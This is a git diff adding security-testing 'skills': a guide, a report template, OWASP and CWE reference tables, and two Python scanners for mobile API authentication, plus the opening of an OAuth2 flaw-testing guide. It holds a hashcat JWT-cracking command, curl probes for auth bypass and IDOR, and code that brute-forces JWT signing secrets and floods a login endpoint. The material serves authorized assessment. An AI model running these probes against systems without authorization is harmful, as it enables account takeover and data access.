HMAC secret +hashcat -m 16500 jwt.txt wordlist.txt + +# 4. Expiration bypass +# Modify "exp" claim to future timestamp +``` + +**Opaque Token Analysis:** +``` +- Test token length and entropy +- Check if tokens are sequential/predictable +- Test token reuse after logout +- Verify token invalidation on password change +``` + +### Step 3: Test Authentication Bypass + +```bash +# Test missing authentication +curl -X GET https://api.target.com/api/v1/users/profile + +# Test with empty/null token +curl -X GET https://api.target.com/api/v1/users/profile \ + -H "Authorization: Bearer " + +curl -X GET https://api.target.com/api/v1/users/profile \ + -H "Authorization: Bearer null" + +# Test with expired token (should fail) +curl -X GET https://api.target.com/api/v1/users/profile \ + -H "Authorization: Bearer " + +# Test token from different user +curl -X GET https://api.target.com/api/v1/users/123/profile \ + -H "Authorization: Bearer " +``` + +### Step 4: Test IDOR / Broken Object-Level Authorization + +```bash +# Change user ID in request path +curl -X GET https://api.target.com/api/v1/users/123/orders \ + -H "Authorization: Bearer " + +# Change object ID in request body +curl -X PUT https://api.target.com/api/v1/orders/789 \ + -H "Authorization: Bearer " \ + -d '{"status": "cancelled"}' + +# Test horizontal privilege escalation +# Access admin endpoints with regular user token +curl -X GET https://api.target.com/api/v1/admin/users \ + -H "Authorization: Bearer " +``` + +### Step 5: Test Session Management + +```bash +# Test concurrent sessions +# Login from multiple devices simultaneously - should both remain valid? + +# Test session invalidation after logout +TOKEN=$(curl -s -X POST https://api.target.com/api/v1/auth/login \ + -d '{"email":"test@test.com","password":"pass"}' | jq -r '.token') + +# Logout +curl -X POST https://api.target.com/api/v1/auth/logout \ + -H "Authorization: Bearer $TOKEN" + +# Try using the same token (should fail) +curl -X GET https://api.target.com/api/v1/users/me \ + -H "Authorization: Bearer $TOKEN" + +# Test session invalidation after password change +# Token obtained before password change should be invalidated +``` + +### Step 6: Test OAuth 2.0 / OIDC Mobile Flows + +```bash +# Test for authorization code interception +# Check if PKCE (Proof Key for Code Exchange) is enforced +# Test with missing code_verifier parameter + +# Test redirect URI manipulation +# Try custom scheme hijacking: myapp://callback +# Test with modified redirect_uri parameter + +# Test scope escalation +# Request higher privileges than granted +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **BOLA/IDOR** | Broken Object Level Authorization - accessing resources by changing identifiers without server-side authorization checks | +| **JWT** | JSON Web Token - self-contained authentication token with header, payload, and signature components | +| **PKCE** | Proof Key for Code Exchange - OAuth 2.0 extension preventing authorization code interception in mobile apps | +| **Token Refresh** | Mechanism for obtaining new access tokens using long-lived refresh tokens without re-authentication | +| **Session Fixation** | Attack where adversary sets a known session ID before victim authenticates, then hijacks the session | + +## Tools & Systems + +- **Burp Suite**: HTTP proxy for intercepting and modifying authentication requests +- **jwt_tool**: Python tool for testing JWT vulnerabilities (none algorithm, key confusion, claim manipulation) +- **Postman**: API testing client for crafting authentication requests +- **hashcat**: Password/JWT secret cracking tool for testing HMAC signing key strength +- **Autorize**: Burp Suite extension for automated authorization testing + +## Common Pitfalls + +- **Rate limiting masks issues**: API may rate-limit test requests. Use delays between requests and test from the tester's authorized perspective first. +- **Token in URL**: Some mobile APIs pass tokens in URL query parameters, exposing them in server logs and browser history. Flag as finding even if authorization works correctly. +- **Refresh token rotation**: Some APIs rotate refresh tokens on each use. If your test invalidates the refresh token, you may lock out your test account. +- **Mobile-specific OAuth**: Mobile apps use custom URI schemes for OAuth redirects, which can be intercepted by malicious apps registered for the same scheme. diff --git a/skills/cybersecurity/testing-mobile-api-authentication/assets/template.md b/skills/cybersecurity/testing-mobile-api-authentication/assets/template.md new file mode 100644 index 00000000..1b61abce --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/assets/template.md @@ -0,0 +1,32 @@ +# Mobile API Authentication Test Report + +## Target +| Field | Value | +|-------|-------| +| API Base URL | [URL] | +| Application | [APP_NAME] | +| Token Type | [JWT/OAuth/Opaque] | +| Test Date | [DATE] | + +## JWT/Token Analysis +| Check | Result | Severity | +|-------|--------|----------| +| Algorithm | [ALG] | [SEVERITY] | +| Expiration | [DURATION] | [SEVERITY] | +| Sensitive Claims | [YES/NO] | [SEVERITY] | +| Signing Key Strength | [WEAK/STRONG] | [SEVERITY] | + +## Authentication Tests +| Test | Endpoint | Result | Severity | +|------|----------|--------|----------| +| Missing Auth | [ENDPOINT] | [PASS/FAIL] | [SEVERITY] | +| Expired Token | [ENDPOINT] | [PASS/FAIL] | [SEVERITY] | +| Empty Token | [ENDPOINT] | [PASS/FAIL] | [SEVERITY] | + +## Authorization Tests (IDOR) +| Endpoint | Own ID | Other ID | Accessible | Severity | +|----------|--------|----------|-----------|----------| +| [ENDPOINT] | [ID] | [ID] | [YES/NO] | [SEVERITY] | + +## Recommendations +1. [RECOMMENDATION] diff --git a/skills/cybersecurity/testing-mobile-api-authentication/references/api-reference.md b/skills/cybersecurity/testing-mobile-api-authentication/references/api-reference.md new file mode 100644 index 00000000..ddda6606 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Testing Mobile API Authentication + +## Common Mobile Auth Endpoints + +| Endpoint | Method | Purpose | +|----------|--------|---------| +| /api/v1/login | POST | Username/password authentication | +| /api/v1/register | POST | New account creation | +| /api/v1/token | POST | OAuth token exchange | +| /api/v1/refresh | POST | Token refresh flow | +| /api/v1/logout | POST | Session termination | +| /api/v1/verify-otp | POST | MFA code verification | +| /api/v1/me | GET | Current user profile | + +## Mobile-Specific JWT Claims + +| Claim | Purpose | Security Impact | +|-------|---------|-----------------| +| device_id / did | Bind token to device | Prevents token theft across devices | +| platform | iOS/Android identifier | Enables platform-specific policy | +| app_version | Client version tracking | Version-gated feature access | +| exp | Token expiration | Missing = permanent access | + +## Test Categories + +| Test | Severity | Description | +|------|----------|-------------| +| No auth access | Critical | Endpoints accessible without token | +| IDOR | Critical | Access other users' resources | +| Weak JWT secret | Critical | Brute-force HMAC signing key | +| Token reuse after logout | High | Token valid after logout | +| No rate limiting | High | Unlimited login attempts | +| Missing device binding | Medium | Token works on any device | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API testing | +| `base64` | stdlib | JWT decoding | +| `hmac` | stdlib | HMAC signature verification | +| `hashlib` | stdlib | Hash functions for JWT | + +## References + +- OWASP Mobile Top 10: https://owasp.org/www-project-mobile-top-10/ +- OWASP API Security Top 10: https://owasp.org/API-Security/ +- MASVS Authentication: https://mas.owasp.org/MASVS/05-MASVS-AUTH/ diff --git a/skills/cybersecurity/testing-mobile-api-authentication/references/standards.md b/skills/cybersecurity/testing-mobile-api-authentication/references/standards.md new file mode 100644 index 00000000..27e610a5 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/references/standards.md @@ -0,0 +1,35 @@ +# Standards Reference: Mobile API Authentication Testing + +## OWASP Mobile Top 10 2024 + +| OWASP ID | Risk | Testing Focus | +|----------|------|---------------| +| M1 | Improper Credential Usage | Hardcoded API keys, credential transmission | +| M3 | Insecure Authentication/Authorization | Auth bypass, IDOR, privilege escalation | + +## OWASP API Security Top 10 2023 + +| API Risk | Test Case | +|----------|-----------| +| API1: Broken Object Level Authorization | Modify object IDs, test cross-user access | +| API2: Broken Authentication | JWT vulnerabilities, token replay, session management | +| API3: Broken Object Property Level Auth | Mass assignment, property-level access | +| API5: Broken Function Level Authorization | Admin endpoint access with user tokens | + +## OWASP MASVS v2.0 - MASVS-AUTH + +| Control | Test Method | +|---------|-------------| +| MASVS-AUTH-1 | Verify authentication enforcement on all sensitive endpoints | +| MASVS-AUTH-2 | Test token generation, validation, and revocation | +| MASVS-AUTH-3 | Assess multi-factor authentication implementation | + +## CWE Mappings + +| CWE | Title | Test | +|-----|-------|------| +| CWE-287 | Improper Authentication | Missing auth on endpoints | +| CWE-639 | Authorization Bypass Through User-Controlled Key | IDOR testing | +| CWE-798 | Hardcoded Credentials | API key in APK/IPA | +| CWE-613 | Insufficient Session Expiration | Token lifetime testing | +| CWE-384 | Session Fixation | Pre-auth token reuse | diff --git a/skills/cybersecurity/testing-mobile-api-authentication/references/workflows.md b/skills/cybersecurity/testing-mobile-api-authentication/references/workflows.md new file mode 100644 index 00000000..1093778b --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/references/workflows.md @@ -0,0 +1,28 @@ +# Workflows: Mobile API Authentication Testing + +## Workflow 1: Authentication Assessment + +``` +[Intercept traffic] --> [Map auth endpoints] --> [Analyze token format] + | + +-------------+-------------+ + | | | + [JWT analysis] [OAuth flow] [Session mgmt] + [None alg] [PKCE check] [Expiration] + [Key brute] [Redirect URI] [Logout invalidation] + | | | + +-------------+-------------+ + | + [IDOR testing] + [Privilege escalation] + [Report findings] +``` + +## Decision Matrix: Token Vulnerability Testing + +| Token Type | Primary Tests | Tools | +|-----------|--------------|-------| +| JWT (HS256) | Key brute force, none algorithm, claim manipulation | jwt_tool, hashcat | +| JWT (RS256) | Algorithm confusion, public key retrieval, key ID manipulation | jwt_tool | +| Opaque | Entropy analysis, predictability, server-side invalidation | Burp Sequencer | +| OAuth Bearer | Scope escalation, redirect URI manipulation, PKCE enforcement | Burp, Postman | diff --git a/skills/cybersecurity/testing-mobile-api-authentication/scripts/agent.py b/skills/cybersecurity/testing-mobile-api-authentication/scripts/agent.py new file mode 100755 index 00000000..9037b501 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/scripts/agent.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python3 +"""Agent for testing mobile API authentication security. + +Tests mobile app backend APIs for broken authentication, insecure +token management, session fixation, privilege escalation, and +IDOR vulnerabilities using intercepted traffic analysis. +""" + +import json +import base64 +import hashlib +import hmac +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +AUTH_ENDPOINTS = [ + "/api/v1/login", "/api/v1/register", "/api/v1/token", + "/api/v1/refresh", "/api/v1/logout", "/api/v1/forgot-password", + "/api/v1/reset-password", "/api/v1/verify-otp", "/api/v1/me", + "/api/v2/auth/login", "/auth/token", "/oauth/token", +] + +WEAK_SECRETS = [ + "secret", "password", "123456", "mobile_secret", "app_secret", + "changeme", "default", "your-256-bit-secret", "s3cr3t", +] + + +class MobileAPIAuthAgent: + """Tests mobile API authentication mechanisms.""" + + def __init__(self, base_url, output_dir="./mobile_api_auth_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _req(self, method, path, **kwargs): + if not requests: + return None + kwargs.setdefault("timeout", 10) + try: + return requests.request(method, f"{self.base_url}{path}", **kwargs) + except requests.RequestException: + return None + + def discover_auth_endpoints(self): + """Probe common mobile auth endpoints.""" + found = [] + for ep in AUTH_ENDPOINTS: + resp = self._req("OPTIONS", ep) + if resp and resp.status_code != 404: + found.append({"endpoint": ep, "status": resp.status_code, + "methods": resp.headers.get("Allow", "")}) + return found + + def test_no_auth_access(self, endpoints=None): + """Test endpoints without authentication token.""" + targets = endpoints or ["/api/v1/me", "/api/v1/users", "/api/v1/orders", + "/api/v1/settings", "/api/v1/notifications"] + results = [] + for ep in targets: + resp = self._req("GET", ep) + if resp and resp.status_code == 200: + results.append({"endpoint": ep, "status": 200, "body_len": len(resp.text)}) + self.findings.append({"severity": "critical", "type": "No Auth Required", + "detail": f"{ep} accessible without token"}) + return results + + def decode_jwt(self, token): + parts = token.split(".") + if len(parts) != 3: + return None, None + def pad(s): return s + "=" * (4 - len(s) % 4) + try: + header = json.loads(base64.urlsafe_b64decode(pad(parts[0]))) + payload = json.loads(base64.urlsafe_b64decode(pad(parts[1]))) + return header, payload + except Exception: + return None, None + + def analyze_token(self, token): + """Analyze JWT for mobile-specific weaknesses.""" + header, payload = self.decode_jwt(token) + if not header: + return {"error": "Invalid token"} + issues = [] + if header.get("alg") == "none": + issues.append({"severity": "critical", "issue": "alg:none - no signature"}) + if "exp" not in payload: + issues.append({"severity": "high", "issue": "No expiration - token lives forever"}) + if "device_id" not in payload and "did" not in payload: + issues.append({"severity": "medium", "issue": "No device binding in token"}) + if header.get("alg", "").startswith("HS"): + issues.append({"severity": "info", "issue": "Symmetric HMAC - test weak secrets"}) + for i in issues: + self.findings.append({"severity": i["severity"], "type": "Token Analysis", "detail": i["issue"]}) + return {"header": header, "payload": payload, "issues": issues} + + def test_token_reuse_after_logout(self, token, logout_path="/api/v1/logout"): + """Test if token remains valid after logout.""" + headers = {"Authorization": f"Bearer {token}"} + self._req("POST", logout_path, headers=headers) + resp = self._req("GET", "/api/v1/me", headers=headers) + if resp and resp.status_code == 200: + self.findings.append({"severity": "high", "type": "Token Reuse After Logout", + "detail": "Token still valid after logout call"}) + return {"reusable": True} + return {"reusable": False} + + def test_rate_limiting(self, login_path="/api/v1/login", attempts=20): + """Test brute-force protection on login endpoint.""" + blocked = False + for i in range(attempts): + resp = self._req("POST", login_path, json={"username": "test", "password": f"wrong{i}"}) + if resp and resp.status_code == 429: + blocked = True + break + if not blocked: + self.findings.append({"severity": "high", "type": "No Rate Limiting", + "detail": f"Login accepted {attempts} attempts without blocking"}) + return {"rate_limited": blocked, "attempts": attempts} + + def test_idor(self, token, resource_path="/api/v1/users/{id}", own_id="1", other_id="2"): + """Test for IDOR by accessing another user's resource.""" + headers = {"Authorization": f"Bearer {token}"} + own = self._req("GET", resource_path.format(id=own_id), headers=headers) + other = self._req("GET", resource_path.format(id=other_id), headers=headers) + if own and other and other.status_code == 200: + self.findings.append({"severity": "critical", "type": "IDOR", + "detail": f"User {own_id} can access user {other_id} data"}) + return {"vulnerable": True} + return {"vulnerable": False} + + def brute_force_jwt_secret(self, token): + """Test for weak HMAC signing secrets.""" + header, _ = self.decode_jwt(token) + if not header or header.get("alg") not in ("HS256", "HS384", "HS512"): + return None + parts = token.split(".") + signing_input = f"{parts[0]}.{parts[1]}".encode() + alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512} + h = alg_map[header["alg"]] + for secret in WEAK_SECRETS: + expected = base64.urlsafe_b64encode( + hmac.new(secret.encode(), signing_input, h).digest() + ).decode().rstrip("=") + if expected == parts[2]: + self.findings.append({"severity": "critical", "type": "Weak JWT Secret", + "detail": f"Secret cracked: '{secret}'"}) + return secret + return None + + def generate_report(self, token=None): + endpoints = self.discover_auth_endpoints() + no_auth = self.test_no_auth_access() + token_analysis = self.analyze_token(token) if token else None + secret = self.brute_force_jwt_secret(token) if token else None + + report = { + "report_date": datetime.utcnow().isoformat(), + "target": self.base_url, + "auth_endpoints": endpoints, + "unauthenticated_access": no_auth, + "token_analysis": token_analysis, + "weak_secret": secret, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "mobile_api_auth_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + url = sys.argv[1] + token = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + agent = MobileAPIAuthAgent(url) + agent.generate_report(token) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-mobile-api-authentication/scripts/process.py b/skills/cybersecurity/testing-mobile-api-authentication/scripts/process.py new file mode 100755 index 00000000..6afa94b3 --- /dev/null +++ b/skills/cybersecurity/testing-mobile-api-authentication/scripts/process.py @@ -0,0 +1,243 @@ +#!/usr/bin/env python3 +""" +Mobile API Authentication Tester + +Tests common authentication vulnerabilities in mobile API endpoints including +JWT analysis, IDOR detection, and session management assessment. + +Usage: + python process.py --base-url https://api.target.com --token [--output report.json] +""" + +import argparse +import base64 +import json +import os +import sys +import time +from datetime import datetime +from pathlib import Path + +try: + import requests + requests.packages.urllib3.disable_warnings() +except ImportError: + print("ERROR: 'requests' required. Install: pip install requests") + sys.exit(1) + + +class MobileAPIAuthTester: + """Tests mobile API authentication and authorization.""" + + def __init__(self, base_url: str, token: str): + self.base_url = base_url.rstrip("/") + self.token = token + self.findings = [] + self.session = requests.Session() + self.session.verify = not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true" # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + self.session.headers.update({ + "Authorization": f"Bearer {token}", + "User-Agent": "MobileSecurityTester/1.0", + }) + + def analyze_jwt(self) -> dict: + """Analyze JWT token structure and identify vulnerabilities.""" + parts = self.token.split(".") + if len(parts) != 3: + return {"is_jwt": False, "format": "opaque_or_invalid"} + + try: + # Decode header + header_padded = parts[0] + "=" * (4 - len(parts[0]) % 4) + header = json.loads(base64.urlsafe_b64decode(header_padded)) + + # Decode payload + payload_padded = parts[1] + "=" * (4 - len(parts[1]) % 4) + payload = json.loads(base64.urlsafe_b64decode(payload_padded)) + + issues = [] + + # Check algorithm + alg = header.get("alg", "unknown") + if alg.lower() == "none": + issues.append({"issue": "none_algorithm", "severity": "CRITICAL"}) + elif alg.lower() in ("hs256", "hs384", "hs512"): + issues.append({"issue": "hmac_algorithm_key_brute_forceable", "severity": "MEDIUM"}) + + # Check expiration + exp = payload.get("exp") + if not exp: + issues.append({"issue": "no_expiration_claim", "severity": "HIGH"}) + elif exp < time.time(): + issues.append({"issue": "token_already_expired", "severity": "INFO"}) + elif exp - time.time() > 86400 * 7: + issues.append({"issue": "excessive_token_lifetime", "severity": "MEDIUM", + "details": f"Expires in {(exp - time.time()) / 86400:.0f} days"}) + + # Check for sensitive data in payload + sensitive_keys = ["password", "secret", "ssn", "credit_card"] + for key in payload: + if any(s in key.lower() for s in sensitive_keys): + issues.append({"issue": f"sensitive_data_in_jwt: {key}", "severity": "HIGH"}) + + # Check missing claims + if "iss" not in payload: + issues.append({"issue": "missing_issuer_claim", "severity": "LOW"}) + if "iat" not in payload: + issues.append({"issue": "missing_issued_at_claim", "severity": "LOW"}) + + finding = { + "check": "jwt_analysis", + "is_jwt": True, + "algorithm": alg, + "claims": list(payload.keys()), + "issues": issues, + "severity": "HIGH" if any(i["severity"] in ("CRITICAL", "HIGH") for i in issues) else "MEDIUM", + } + self.findings.append(finding) + return finding + + except Exception as e: + return {"is_jwt": True, "error": str(e)} + + def test_missing_auth(self, endpoints: list) -> list: + """Test endpoints without authentication.""" + results = [] + for endpoint in endpoints: + url = f"{self.base_url}{endpoint}" + try: + resp = requests.get(url, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=10, # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments + headers={"User-Agent": "MobileSecurityTester/1.0"}) + if resp.status_code != 401 and resp.status_code != 403: + result = { + "endpoint": endpoint, + "status": resp.status_code, + "issue": "accessible_without_auth", + "severity": "CRITICAL", + } + results.append(result) + except requests.RequestException: + pass + time.sleep(0.5) # Rate limiting + + if results: + self.findings.append({ + "check": "missing_authentication", + "owasp_api": "API2", + "endpoints_tested": len(endpoints), + "unprotected": len(results), + "details": results, + "severity": "CRITICAL", + }) + return results + + def test_expired_token(self) -> dict: + """Test if expired tokens are accepted.""" + # Create a JWT with expired timestamp (modifying payload) + parts = self.token.split(".") + if len(parts) != 3: + return {"check": "expired_token", "skipped": True} + + try: + payload_padded = parts[1] + "=" * (4 - len(parts[1]) % 4) + payload = json.loads(base64.urlsafe_b64decode(payload_padded)) + + if "exp" in payload and payload["exp"] < time.time(): + # Token is already expired, test if it still works + resp = self.session.get(f"{self.base_url}/api/v1/users/me", timeout=10) + accepted = resp.status_code == 200 + + finding = { + "check": "expired_token_acceptance", + "token_expired": True, + "still_accepted": accepted, + "severity": "CRITICAL" if accepted else "PASS", + } + self.findings.append(finding) + return finding + except Exception: + pass + + return {"check": "expired_token", "skipped": True, "reason": "token_not_expired"} + + def test_idor(self, endpoint_template: str, valid_id: str, other_ids: list) -> list: + """Test for IDOR by substituting object IDs.""" + results = [] + for other_id in other_ids: + url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}" + try: + resp = self.session.get(url, timeout=10) + if resp.status_code == 200: + results.append({ + "endpoint": url, + "original_id": valid_id, + "tested_id": other_id, + "accessible": True, + "severity": "CRITICAL", + }) + except requests.RequestException: + pass + time.sleep(0.5) + + if results: + self.findings.append({ + "check": "idor", + "owasp_api": "API1", + "vulnerable_endpoints": len(results), + "details": results, + "severity": "CRITICAL", + }) + return results + + def generate_report(self) -> dict: + """Generate authentication test report.""" + severity_counts = {} + for f in self.findings: + sev = f.get("severity", "INFO") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + return { + "assessment": { + "target": self.base_url, + "type": "Mobile API Authentication Testing", + "date": datetime.now().isoformat(), + }, + "summary": { + "total_checks": len(self.findings), + "severity_breakdown": severity_counts, + }, + "findings": self.findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="Mobile API Authentication Tester") + parser.add_argument("--base-url", required=True, help="API base URL") + parser.add_argument("--token", required=True, help="Bearer token (JWT or opaque)") + parser.add_argument("--output", default="auth_test.json", help="Output report") + parser.add_argument("--endpoints", nargs="*", default=[ + "/api/v1/users/me", "/api/v1/users", "/api/v1/admin", + ], help="Endpoints to test") + args = parser.parse_args() + + tester = MobileAPIAuthTester(args.base_url, args.token) + + print("[*] Analyzing token...") + tester.analyze_jwt() + + print("[*] Testing missing authentication...") + tester.test_missing_auth(args.endpoints) + + print("[*] Testing expired token acceptance...") + tester.test_expired_token() + + report = tester.generate_report() + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + + print(f"[+] Report saved: {args.output}") + print(f"[*] Findings: {report['summary']['severity_breakdown']}") + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/testing-oauth2-implementation-flaws/LICENSE b/skills/cybersecurity/testing-oauth2-implementation-flaws/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/testing-oauth2-implementation-flaws/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/cybersecurity/testing-oauth2-implementation-flaws/SKILL.md b/skills/cybersecurity/testing-oauth2-implementation-flaws/SKILL.md new file mode 100644 index 00000000..f3adac87 --- /dev/null +++ b/skills/cybersecurity/testing-oauth2-implementation-flaws/SKILL.md @@ -0,0 +1,409 @@ +--- +name: testing-oauth2-implementation-flaws +description: 'Tests OAuth 2.0 and OpenID Connect implementations for security flaws + including authorization code interception, redirect URI manipulation, CSRF in OAuth + flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the + authorization server, client application, and token handling for common misconfigurations + that enable account takeover or unauthorized access. Activates for requests involving + OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or + authorization code flow testing. + + ' +domain: cybersecurity +subdomain: api-security +tags: +- api-security +- oauth2 +- oidc +- authentication +- redirect-uri +- token-security +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1552.001 +- T1027 +- T1070 +--- +# Testing OAuth2 Implementation Flaws + +## When to Use + +- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses +- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement +- Evaluating token storage, transmission, and 